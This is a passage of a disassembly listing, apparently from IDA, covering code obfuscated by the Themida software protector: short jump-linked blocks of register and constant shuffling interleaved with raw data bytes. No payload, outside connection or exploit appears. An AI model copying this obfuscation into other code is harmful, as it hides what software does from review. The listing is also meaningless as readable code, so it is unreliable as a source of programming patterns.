		dd 0A13F99C2h, 0CAEA816Dh, 0E923C31Ch, 0FFFF57CBh
; ---------------------------------------------------------------------------

loc_55BF10:				; CODE XREF: Themida_:005518FBj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 66h
		dd 41E9028Fh, 47FFFF54h, 3E7C14Fh, 76CCF781h, 0C6812C43h
		dd 1FD92AF4h, 0EE81FE01h, 1FD92AF4h, 2BA525Fh, 0E9000000h
		dd 0FFFFE4DFh, 8702E983h, 78E9240Ch, 50FFFFDAh,	2B8h, 58C58900h
		dd 0FF6642E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BF65:				; CODE XREF: Themida_:005584C9j
		push	ecx
		push	1
		pop	ecx
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	3C40h
		mov	[esp], eax
		push	ecx
		jmp	loc_553579
; ---------------------------------------------------------------------------
		db 68h,	0A5h, 21h
		dd 34890000h, 22B4BE24h, 1DB97AE0h, 579DFF29h, 3147CCBFh
		dd 0E9F92960h, 0FFFF8CBAh
; ---------------------------------------------------------------------------

loc_55BFAC:				; CODE XREF: Themida_:0055AA06j
		mov	edx, 0E133782h
		sub	edx, 61DB518Bh
		or	edx, 661F3876h
		jmp	loc_5539FD
; ---------------------------------------------------------------------------

loc_55BFC2:				; CODE XREF: Themida_:00551FD0j
		push	58B6h
		mov	[esp], ebx
		jmp	loc_5547B8
; ---------------------------------------------------------------------------

loc_55BFCF:				; CODE XREF: Themida_:00551B89j
		sub	esi, 6FFF7985h
		push	ebp
		jmp	loc_558656
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 48904ECh,	74E95424h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BFEB:				; CODE XREF: Themida_:0055A4EBj
		pop	esp
		pop	ebp
		push	edx
		mov	edx, 63DF5259h
		xor	edx, 0DD818C0h
		xor	edx, 74897B9Fh
		or	esi, edx
		jmp	loc_554F70
; ---------------------------------------------------------------------------

loc_55C006:				; CODE XREF: Themida_:00556CA0j
		inc	eax
		xor	eax, 2749ED8Ah
		jmp	loc_559E07
; ---------------------------------------------------------------------------
		db 5Eh,	33h, 4
		dd 0C5D7E924h, 0E3BEFFFFh, 8126F94Eh, 56660EE6h, 4EDEF756h
		dd 4E07EEC1h, 4CDEE81h,	0F089AB3Dh, 4FF505Eh, 0D8F75824h
		dd 0B65AAA05h, 58C30156h, 3302C383h, 1C31241Ch,	241C3324h
		dd 6624248Bh, 57240C8Bh, 0C781E789h, 4,	8772E950h, 405FFFFh
		dd 87000000h, 50E92404h, 8900000Ch, 80E9240Ch, 66FFFF8Ah
		dd 2404B30Fh, 601FE99Ch, 0F75CFFFFh, 60BD68E9h,	14890000h
		dd 835A5424h, 2C8904ECh, 3FEEBD24h, 0D5F76FF7h,	0FFCCC3E9h
		dd 0D830ACFFh, 7D9DE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C0AE:				; CODE XREF: Themida_:00556E84j
		dec	esi
		add	esi, 0D0CA3CDh
		mov	ebp, esi
		pop	esi
		sub	edi, 62526940h
		add	edi, ebp
		add	edi, 62526940h
		pop	ebp
		jmp	loc_559721
; ---------------------------------------------------------------------------

loc_55C0CC:				; CODE XREF: Themida_:0055284Bj
		push	dword ptr [esp+4]
		jmp	loc_557ED7
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0E700A1B4h, 10CF8058h, 0C4B45066h, 5866E700h, 1C8BF800h
		dd 4C48324h, 0E9E08950h, 0FFFF81CEh, 240C8B66h,	674568h
		dd 242C8900h, 9029E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C10A:				; CODE XREF: Themida_:005540A2j
		add	edx, edi
		jmp	loc_55794C
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 5Ah
		dd 55FFFFB6h, 0FFF1FAE9h, 0E9E289FFh, 0FFFF6BF6h, 30F28159h
		dd 0E975A13Dh, 0FFFF7A6Eh
; ---------------------------------------------------------------------------

loc_55C130:				; CODE XREF: Themida_:0055B914j
		pop	ebp
		shr	eax, 0Eh
		jmp	loc_55628E
; ---------------------------------------------------------------------------

loc_55C139:				; CODE XREF: Themida_:00556447j
		add	ebx, 4FFB7235h
		jmp	loc_559883
; ---------------------------------------------------------------------------
		dd 0C1B68h, 24048900h, 0FFDC11E9h, 0E18951FFh, 4EC81h
		dd 3C890000h, 22E95124h, 8300000Eh, 3C8702C7h, 24248B24h
		dd 0FFBED6E9h, 0AFD05FFh, 515929B4h, 2487D468h,	0E951594Ch
		dd 0FFFF81CDh
; ---------------------------------------------------------------------------

loc_55C184:				; CODE XREF: Themida_:0055A61Fj
		sub	esi, 0FFFFFFFFh
		jmp	loc_5550B0
; ---------------------------------------------------------------------------
		dd 51345ABFh, 8F41E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C196:				; CODE XREF: Themida_:00555C91j
		mov	ebp, 296E0743h
		and	ebp, 1D49677Ah
		push	edx
		mov	edx, 5EE2215Ah
		push	eax
		mov	eax, 2C232904h
		shl	eax, 1
		push	ebx
		mov	ebx, 341A2939h
		sub	eax, ebx
		pop	ebx
		or	edx, eax
		jmp	loc_5578C9
; ---------------------------------------------------------------------------

loc_55C1BF:				; CODE XREF: Themida_:0055B468j
		xchg	eax, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 89h
		dd 243C8BFEh, 0FFB49CE9h, 7E3C1FFh, 8004C381h, 0D901FFFFh
		dd 0B13EE95Bh, 2C89FFFFh, 7569BD24h, 0EE316982h, 83242C8Bh
		dd 48904ECh, 5E08924h, 4, 8704C083h, 815C2404h,	0FFFFFFEEh
		dd 0E6EE81FFh, 1351E52h, 0C1835EF1h, 816BE902h,	0BB6FFFFh
		dd 0E952D6F6h, 0FFFFD826h, 0E907E9C0h, 0FFFF8DEBh, 8759CD29h
		dd 895C242Ch, 0A1E92414h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C23F:				; CODE XREF: Themida_:0055AE15j
		pop	ebp
		jmp	loc_555ABE
; ---------------------------------------------------------------------------
		db 1, 0DFh, 81h
		dd 0D05B84EFh, 0BD555B4Bh, 2, 875DEF01h, 555C243Ch, 0C5815D54h
		dd 4, 4ED81h, 2C870000h, 0EBE95C24h, 83FFFFA1h,	0C8704C1h
		dd 24248B24h, 3C8BF831h, 0A874E924h, 0EFB1FFFFh, 0FFE685E9h
		dd 0F6CB88FFh, 0D3C6E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C296:				; CODE XREF: Themida_:0055B8D5j
		mov	eax, 27F642FBh
		push	ebx
		push	esi
		push	ecx
		mov	ecx, 6B123085h
		xor	ecx, 0B624C14h
		jmp	loc_5592BA
; ---------------------------------------------------------------------------

loc_55C2AE:				; CODE XREF: Themida_:00556046j
		dec	esi
		inc	esi
		add	esi, 0CEC7C604h
		sub	edx, esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_553E0C
; ---------------------------------------------------------------------------

loc_55C2CA:				; CODE XREF: Themida_:0055D219j
		push	ebx
		mov	ebx, esp
		jmp	loc_5591F1
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4CC50409h, 0EA81C201h, 4CC50409h, 51146858h,	3C890000h
		dd 2BF24h, 0FA010000h, 0BB50E95Fh, 483FFFFh, 56580424h
		dd 4BA52h, 0D6890000h, 8BF0015Ah, 0C4832434h, 2BE5604h
		dd 2D000000h, 69A502ECh, 0FFD930E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C31D:				; CODE XREF: Themida_:0055142Dj
		push	13B2h
		mov	[esp], edx
		mov	dl, 44h
		mov	ch, 0C9h
		xor	ch, dl
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5516FA
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0EE90000h, 0BBFFFFD8h, 24F83A23h, 15BD829h
		dd 0D2AAE9D8h, 0C483FFFFh, 500EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C35A:				; CODE XREF: Themida_:0055AAE1j
		mov	ecx, 163E4E48h
		add	ecx, 31A55684h
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		inc	ecx
		push	ecx
		xchg	ebp, [esp]
		inc	ebp
		xchg	ebp, [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 47E3A4CDh
		jmp	loc_55182B
; ---------------------------------------------------------------------------
		db 81h
		dd 0F32ABFF1h, 0D42CE91Eh, 483FFFFh, 8CE90424h,	5BFFFFC6h
		dd 0FF6B99E9h, 241C8BFFh, 5620E955h, 3C8BFFFFh,	4C48124h
		dd 2D000000h, 226E735Eh, 9321E957h, 0EC81FFFFh,	4, 0E9241489h
		dd 945h, 0CDB15150h, 932CB2B0h,	9304C828h, 86280459h, 66C2FED0h
		dd 88D38853h, 0C3DDE9C2h, 0E95CFFFFh, 0FFFF687Dh, 38230FBDh
		dd 25E9572Ah
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C3F7:				; CODE XREF: Themida_:005546FDj
		push	2F39788Ch
		mov	ebx, [esp]
		add	esp, 4
		not	ebx
		xchg	eax, ebx
		jmp	loc_55B46D
; ---------------------------------------------------------------------------

loc_55C40A:				; CODE XREF: Themida_:0055CAA4j
		push	ecx
		push	eax
		mov	eax, 6EE25DB3h
		mov	ecx, 0F202B85Ch
		add	ecx, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		sub	esi, 130750D6h
		sub	esi, 0E3BF513h
		push	esi
		add	dword ptr [esp], 7767243Dh
		pop	ecx
		sub	ecx, 7767243Dh
		mov	esi, [esp]
		add	esp, 4
		not	ecx
		jmp	loc_551566
; ---------------------------------------------------------------------------
		db 89h
		dd 8850241Ch, 0E9E388D4h, 373h,	24148B66h, 0FFD710E9h
		dd 9EEB81FFh, 1DF78EFh,	2434FFD8h, 83241C8Bh, 0C48104C4h
		dd 4, 664DC32Dh, 56C8012Ah, 0CF3581BEh,	38E94672h, 29FFFF9Fh
		dd 0E7DFE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C48E:				; CODE XREF: Themida_:005577A5j
		mov	[esp], ebx
		jmp	loc_55B5AC
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 240C3304h, 33240C31h, 0BAE9240Ch, 5FFFFFBCh,	4C181h
		dd 0C870000h, 34FF5C24h, 81575824h, 4ECh, 24248900h, 4240483h
		dd 769D685Fh, 14890000h, 4BA24h, 0E9550000h, 0FFFFAF37h
		dd 0C581FD01h, 4AA14433h, 4C5815Fh, 33000000h, 0B8E9242Ch
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C4EF:				; CODE XREF: Themida_:00554F87j
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_552850
; ---------------------------------------------------------------------------
		db 34h
		dd 0A668E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C502:				; CODE XREF: Themida_:0055A738j
		push	dword ptr [esp]
		pop	ebx
		push	edx
		jmp	loc_559C1B
; ---------------------------------------------------------------------------
		dd 8189E950h, 0E954FFFFh, 0FFFF7BACh, 0C681E689h, 4, 4EE81h
		dd 34870000h, 1C895C24h, 89E95124h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C533:				; CODE XREF: Themida_:00552795j
		push	358Bh
		mov	[esp], ebx
		push	edi
		mov	edi, 1CE5344Eh
		push	1CE53C4Eh
		jmp	loc_55BA8B
; ---------------------------------------------------------------------------
		db 29h
		dd 243C8BFDh, 4C481h, 0FD870000h, 0E9575547h, 0FFFF6CC6h
		dd 1F58145h, 81661239h,	0EAB31F5h, 0E9E801B1h, 0FFFFEEDEh
		dd 2414F750h, 37A2D58h,	81350C67h, 1A51AB3h, 0CA0158C2h
		dd 77E5EA81h, 0C8B2FA0h, 4C48124h, 87000000h, 248B2414h
		dd 4EC8324h, 83243489h,	8F5404ECh, 0D0E92404h, 81FFFF71h
		dd 4C2h, 4C28100h, 0E9000000h, 0FFFFE667h, 0FD70E957h
		dd 0F781FFFFh, 0D489934Fh, 0FF7F45E9h, 5DEF01FFh, 0EF81D701h
		dd 481310E9h, 4C7835Ah,	31243C33h, 0FBE9243Ch, 58FFFF62h
		dd 0FF6DEBE9h, 57FA01FFh, 9F7D51BFh, 54EF811Eh,	811E1A5Eh
		dd 0C753CCFh, 8E99767h,	89FFFFBFh, 33B42404h, 0FFE9FDE9h
		dd 241C8BFFh, 81E18951h, 4C1h, 70DC6800h, 4890000h, 0BA525124h
		dd 15C814AEh, 148BD189h, 4C48124h, 81000000h, 4364AEE1h
		dd 41D9F70Dh, 62A7E949h, 0FD28FFFFh, 83241C8Bh,	98E904C4h
		dd 0FFFFFF6Dh, 83582434h, 3C8904ECh, 81E78924h,	4C7h, 6422E900h
		dd 5BFFFFh, 50C1E9D8h, 2489FFFFh, 24048124h, 4,	0FF9E72E9h
		dd 241431FFh, 8B241433h, 31662424h, 0E99C2404h,	0FFFF4CD0h
		dd 0FF4CCBE9h, 58C689FFh, 875EF701h, 0D35C243Ch, 0E99C240Ch
		dd 0FFFF4CB8h, 0E9D3F743h, 0FFFFC3BEh, 5658C201h, 203657BEh
		dd 0FE46E93Ch, 8B66FFFFh, 0F1E92404h, 0ADFFFFFEh, 0E5BD5552h
		dd 0E9150000h, 0A2Eh, 830CE95Ah, 1487FFFFh, 0C895C24h
		dd 5225E924h, 0EC83FFFFh, 240C8904h, 0FFE487E9h, 0B2525CFFh
		dd 8678E9E6h, 8159FFFFh, 5631FCF3h, 0F4B3E922h,	0D6F6FFFFh
		dd 689EB151h, 1D5h, 0E9241C89h,	0FFFFFB6Dh, 5ECC05Bh, 0D9C480h
		dd 0DA71E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C72E:				; CODE XREF: Themida_:0055AAD3j
		sub	esi, 681FFFFh
		and	eax, esi
		pop	esi
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		push	53B4h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_553A1D
; ---------------------------------------------------------------------------
		dd 42474FFh, 0E924148Bh, 0B30h
; ---------------------------------------------------------------------------

loc_55C770:				; CODE XREF: Themida_:0055D4D5j
		push	esp
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_55465A
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0E8A9E924h, 1C8BFFFFh, 4C48124h, 81000000h, 4C6h, 74FF5600h
		dd 0E95E0424h, 0FFFFBE76h, 8B2434FFh, 8950240Ch, 405E0h
		dd 0C0830000h, 24048704h, 4EC815Ch, 89000000h, 7AE9242Ch
		dd 58FFFFB7h, 525BD988h, 0FFAE39E9h, 4EC83FFh, 0B8240489h
		dd 4, 48BC301h,	0DFCAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C7E6:				; CODE XREF: Themida_:00553258j
		push	2EF6h
		jmp	loc_556413
; ---------------------------------------------------------------------------

loc_55C7F0:				; CODE XREF: Themida_:005528B9j
		pop	eax
		push	ecx
		mov	ecx, 63E7440Fh
		jmp	loc_559DA9
; ---------------------------------------------------------------------------
		dd 68241C89h, 47D403A0h, 0CCC3815Bh, 8100C06Ch,	4ECh, 24048900h
		dd 814410B8h, 58C3213Ah, 87534B43h, 0D1F7240Ch,	0E9240C87h
		dd 0FFFF5CF6h, 0B1240C89h, 0F1D1E974h, 3CBEFFFFh, 0BB50933Ch
		dd 50933C3Eh, 0FF90B6E9h, 3E4C0FFh, 0FF6AA7E9h,	242C89FFh
		dd 0FFA85DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C855:				; CODE XREF: Themida_:00554DE6j
		pop	ecx
		add	esp, 4
		add	[esp+4], esi
		pop	esi
		pop	esi
		sub	esi, 4A2706BBh
		push	ebp
		mov	ebp, esi
		push	51CAh
		jmp	loc_55D2C5
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 0C6h
		dd 0FFE789E9h, 0E9C329FFh, 0FFFF60A9h, 0FF4ADFE9h, 468FFh
		dd 34FF0000h, 242C8B24h, 4C481h, 0C4830000h, 0D84DE904h
		dd 3C89FFFFh, 7463BF24h, 7C297E39h, 0DBE90424h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C8B3:				; CODE XREF: Themida_:0055B118j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		jmp	loc_555C96
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 335EF301h, 70E9241Ch, 5C000003h, 7F0E9h, 86B85000h
		dd 52F3E63h, 3024DC74h,	8158C631h, 28CD64EEh, 51DC052Dh
		dd 41E97651h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C8F7:				; CODE XREF: Themida_:00553800j
		push	ebx
		jmp	loc_55A33D
; ---------------------------------------------------------------------------

loc_55C8FD:				; CODE XREF: Themida_:0055B3AAj
		xor	ebx, 0CE5300Dh
		jmp	loc_5523D5
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 0FFFB81E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C915:				; CODE XREF: Themida_:00555DC9j
		pop	esp
		and	ebx, edi
		jmp	loc_55A8D3
; ---------------------------------------------------------------------------
		db 47h,	81h, 0EFh
		dd 84F04BFFh, 89E9FA09h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C92B:				; CODE XREF: Themida_:0055AC56j
		not	dword ptr [esp]
		pop	esi
		xor	eax, esi
		jmp	loc_555AA4
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0B22414h, 38E9D588h,	83FFFF95h, 1C3304C3h, 8723E924h
		dd 5659FFFFh, 42474FFh,	24048F5Eh, 5124248Bh, 4EC81h, 1C890000h
		dd 4EC8324h, 52240C89h,	0D188C288h, 8637E95Ah, 535AFFFFh
		dd 42474FFh, 83241C8Bh,	48F04C4h, 24248B24h, 24048B66h
		dd 8904EC83h, 5D54242Ch, 0FFF449E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C999:				; CODE XREF: Themida_:0055572Cj
		sub	ch, bh
		sub	ch, 0FAh
		jmp	loc_554835
; ---------------------------------------------------------------------------
		db 50h
		dd 0C748D6B8h, 0BD43E951h, 487FFFFh, 0D2F79224h, 4E5F68h
		dd 24048900h, 0E904EC83h, 0FFFF66AEh, 0BA52E389h, 4, 47AE9h
		dd 61E95100h, 0B6000009h, 0E9DE8631h, 0FFFFE73Dh, 0E940478Fh
		dd 0FFFF4980h, 405E089h, 68000000h, 4F4Ch, 55241489h, 0FF53B3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C9FD:				; CODE XREF: Themida_:0055319Cj
		sub	ebx, 7DAA5D34h
		sub	ebx, ebp
		push	esi
		mov	esi, 303F345Bh
		not	esi
		inc	esi
		jmp	loc_55185A
; ---------------------------------------------------------------------------
		db 52h
		dd 0E9505A54h, 0FFFFA672h, 24E9C1B4h, 9FFFF88h,	0E99C2404h
		dd 0FFFF493Ch
; ---------------------------------------------------------------------------

loc_55CA2C:				; CODE XREF: Themida_:00553C68j
		push	edi
		mov	edi, 270978C2h
		not	edi
		shl	edi, 6
		jmp	loc_55CC71
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812404h, 4, 4EC81h, 1C890000h,	5AE95424h
		dd 66FFFFD1h, 9C241CF7h, 0FF4907E9h, 4EBC1FFh, 0FF8727E9h
		dd 0CABB53FFh, 0B94F2D4Eh, 6A78310Eh, 0E95BD931h, 0FFFF5B82h
		dd 3C8BFB01h, 4C48124h,	33000000h, 1C31241Ch, 241C3324h
		dd 6624248Bh, 0E924048Bh, 0FFFFED6Ch
; ---------------------------------------------------------------------------

loc_55CA9C:				; CODE XREF: Themida_:005550B1j
		push	ecx
		push	esi
		push	261F56F7h
		pop	esi
		jmp	loc_55C40A
; ---------------------------------------------------------------------------
		db 89h,	0EAh, 5Dh
		dd 815AD689h, 600250C6h, 1EE813Dh, 0E92B3C61h, 0FFFF5859h
		dd 55240489h, 4A3F3468h, 242C8B53h, 0E904C483h,	0FFFF68F6h
		dd 6C92E950h, 8B66FFFFh, 0C2E92404h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CAE3:				; CODE XREF: Themida_:00553150j
		sub	esi, 0B6675337h
		sub	esp, 4
		jmp	loc_55B269
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1830000h, 240C3304h, 33240C31h, 0F5C240Ch
		dd 3068C8B7h, 89000053h, 6AE9240Ch, 0B6FFFF76h,	0C2B3E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CB1E:				; CODE XREF: Themida_:0055906Ej
		pop	edi
		jmp	loc_553B41
; ---------------------------------------------------------------------------
		dd 5C296659h, 5B660424h, 0FFE510E9h, 0FE015EFFh, 2434875Fh
		dd 0DE9515Ch, 53FFFFD2h, 44716852h, 99E95F06h, 1FFFF6Eh
		dd 34875AD6h, 24248B24h, 0F04C483h, 5E5456C8h, 0FFD08AE9h
		dd 0E953ADFFh, 0FFFF723Eh, 8104C483h, 4C6h, 6B686800h
		dd 3C890000h, 4BF24h, 0FE010000h, 5F2434FFh, 7424E955h
		dd 1489FFFFh, 2474FF24h, 0FEE95A04h, 80000005h,	0E7C02CE7h
		dd 76CAE902h, 0C386FFFFh, 0C090B252h, 0EA8007E2h, 85F0E901h
		dd 0E7C0FFFFh, 0E9526602h, 0FFFFFF5Bh, 0CAF6F281h, 0D029DCD6h
		dd 0A40FE95Ah, 4A5FFFFFh, 0C281D2F7h, 72F584AFh, 0FF747EE9h
		dd 0C1E95EFFh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CBDF:				; CODE XREF: Themida_:00559964j
		push	49CAh
		mov	[esp], ecx
		jmp	loc_557431
; ---------------------------------------------------------------------------
		dd 0E958C201h, 0FFFF78B4h, 8058C288h, 0EA80ABF2h, 5AD300B1h
		dd 0EB80CBFEh, 86D3F671h, 0E9D0F6C3h, 0FFFFFF92h, 4055Dh
		dd 0FF500000h, 58042474h, 0FFD64FE9h, 4D392DFFh, 0F80177E3h
		dd 0FF55C3E9h, 0E9C604FFh, 0FFFF9E6Ah, 4BA5258h, 1000000h
		dd 7EE95AD7h, 31FFFFBFh, 71E9241Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55CC4B:				; CODE XREF: Themida_:0055CEA6j
		mov	eax, 14806C7Dh
		and	eax, 86B1FD4h
		shr	eax, 3
		add	eax, 0FFFFFE7Ah
		add	edi, eax
		jmp	loc_552872
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C2404FFh, 0FF46F7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CC71:				; CODE XREF: Themida_:0055CA37j
		add	edi, 2C463CAFh
		dec	edi
		jmp	loc_55B21C
; ---------------------------------------------------------------------------

loc_55CC7D:				; CODE XREF: Themida_:005545BBj
		push	eax
		mov	eax, 0B4C7533h
		mov	ecx, 0F4B38AE9h
		jmp	loc_552C51
; ---------------------------------------------------------------------------

loc_55CC8D:				; CODE XREF: Themida_:00556B37j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5574CD
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4Fh
		dd 897EFB61h, 4B0CE9D5h, 0C181FFFFh, 4,	8704C183h, 875C240Ch
		dd 3B5C2434h, 0A5E99CC8h, 5CFFFF46h, 0C231C331h, 0FF469BE9h
		dd 24248BFFh, 0FF870BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CCD5:				; CODE XREF: Themida_:00559A06j
		push	eax
		mov	eax, 0FFFFFFFFh
		mov	ecx, eax
		jmp	loc_5530E2
; ---------------------------------------------------------------------------

loc_55CCE2:				; CODE XREF: Themida_:00558C5Ej
		pop	esi
		jmp	loc_55B13D
; ---------------------------------------------------------------------------
		dd 0FF406F89h, 0E95D2434h, 0FFFFF45Dh, 5DE8315Fh, 0FFF5D5E9h
		dd 5E0568FFh, 0C890000h, 0E3895324h, 0FF98A9E9h, 4BAFFh
		dd 0D5010000h, 0FF6794E9h, 0A9C581FFh, 11A3B1Bh, 0A9ED81F5h
		dd 5E1A3B1Bh, 0E902C583h, 0FFFFBAF8h, 0C381E389h, 4, 4C381h
		dd 1C870000h, 0F7E95C24h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CD47:				; CODE XREF: Themida_:00555C74j
		and	eax, 3D01749Dh
		sub	eax, 19001480h
		mov	ebx, eax
		pop	eax
		jmp	loc_55BD64
; ---------------------------------------------------------------------------
		db 0ADh, 81h, 0ECh
		dd 4, 55243489h, 0FFBCD8E9h, 8BEB89FFh,	0C481242Ch, 4
		dd 0FFC7AFE9h, 83E189FFh, 348904ECh, 2511BE24h,	0BA52517Eh
		dd 1A504B73h, 672BEA81h, 0EA8136F4h, 260935A4h,	74ABEA81h
		dd 0D6296F52h, 31BF575Ah, 2109F020h, 0ACC8E9FEh, 8B66FFFFh
		dd 5453240Ch, 0FFF5DEE9h, 38C181FFh, 103ED30h, 38E981D9h
		dd 5B03ED30h, 4EC81h, 1C890000h, 0F6BA5224h, 810C1B3Eh
		dd 1B3EF4F2h, 5AD3890Ch, 1C8BD901h, 0C05EE924h,	34FFFFFFh
		dd 0DC4EE924h, 83ADFFFFh, 0F00207Fh, 0FF528A84h, 0CCEE81FFh
		dd 10E4D4Bh, 8B6851C6h,	5918CF71h, 6857D9F7h, 0E97DC5B9h
		dd 0FF4A4CE9h, 4B9FFh, 6C810000h, 2A430424h, 4C0144F6h
		dd 0E9550424h, 0FFFF4A97h
; ---------------------------------------------------------------------------

loc_55CE30:				; CODE XREF: Themida_:0055AF25j
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, esi
		sub	esi, 5D1312EEh
		inc	esi
		add	esi, 1
		sub	esi, 12EE2FF3h
		jmp	loc_552E17
; ---------------------------------------------------------------------------
		db 1
		dd 0EB835AD3h, 9AABE904h, 0F305FFFFh, 2D753730h, 4AD3F0Ch
		dd 0C05E829h, 2D04AD3Fh, 753730F3h, 438C205h, 242C8B79h
		dd 6804C483h, 3510h, 0FFF9CCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CE81:				; CODE XREF: Themida_:0055A97Dj
		shr	esi, 7
		xor	esi, 228E86F0h
		mov	ecx, esi
		pop	esi
		mov	ebx, 23617DAFh
		xor	ebx, ecx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_5571DA
; ---------------------------------------------------------------------------
		db 0E9h, 0C6h, 44h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CEA2:				; CODE XREF: Themida_:00557482j
		add	edi, eax
		pop	eax
		push	eax
		jmp	loc_55CC4B
; ---------------------------------------------------------------------------

loc_55CEAB:				; CODE XREF: Themida_:00551732j
		mov	bl, 88h
		mov	al, bl
		pop	bx
		sub	ch, 8Ah
		sub	ch, 0F0h
		jmp	loc_554971
; ---------------------------------------------------------------------------
		dd 8B241C33h, 0E92424h,	83FFFF6Dh, 0FF5304C3h, 5B042474h
		dd 5C24048Fh, 39F2B850h, 43E96337h, 0E9FFFF8Eh,	0FFFF4484h
		dd 16936841h, 14890000h, 4A3EBA24h, 0DAF75460h,	3DD4CA81h
		dd 0E2812EEDh, 76BB0EBEh, 814ADAF7h, 0D4D0DAEAh, 9BFDE9C2h
		dd 0C588FFFFh, 0E959EA88h, 0FFFFCCF5h, 8924248Bh, 1FE92434h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CF23:				; CODE XREF: Themida_:005522A2j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55AAD8
; ---------------------------------------------------------------------------
		db 66h
		dd 9C240CD3h, 0FF4427E9h, 58C589FFh, 4246C01h, 6DE9515Dh
		dd 53FFFF7Dh, 977F27BBh, 0FB07E917h, 8F64FFFFh,	4406E902h
		dd 0BE56FFFFh, 6DB233F9h, 6CA0BD55h, 70E91FCEh,	46FFFF73h
		dd 3688C681h, 0CE81297Ah, 41D60880h, 0FFBF79E9h, 4B9FFh
		dd 0CF890000h, 0FF5A20E9h, 240433FFh, 0E924248Bh, 0FFFF7CABh
		dd 6602C483h, 3C87665Ah, 890EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CFAA:				; CODE XREF: Themida_:00559BE6j
		add	eax, 2FC54FE5h
		jmp	loc_55BA72
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0D0E9240Ch, 81FFFF44h, 4C7h, 4EC8100h, 89000000h
		dd 2B9240Ch, 0E9000000h, 0FFFF7C76h, 240C8B66h,	8904EC83h
		dd 0EC81243Ch, 4, 0FF4790E9h, 58E188FFh, 0E952D1F6h, 0FFFFF9DFh
; ---------------------------------------------------------------------------

loc_55CFF8:				; CODE XREF: Themida_:005565B1j
		mov	ecx, 48B5E6Bh
		push	ecx
		neg	dword ptr [esp]
		pop	ecx
		jmp	loc_551B66
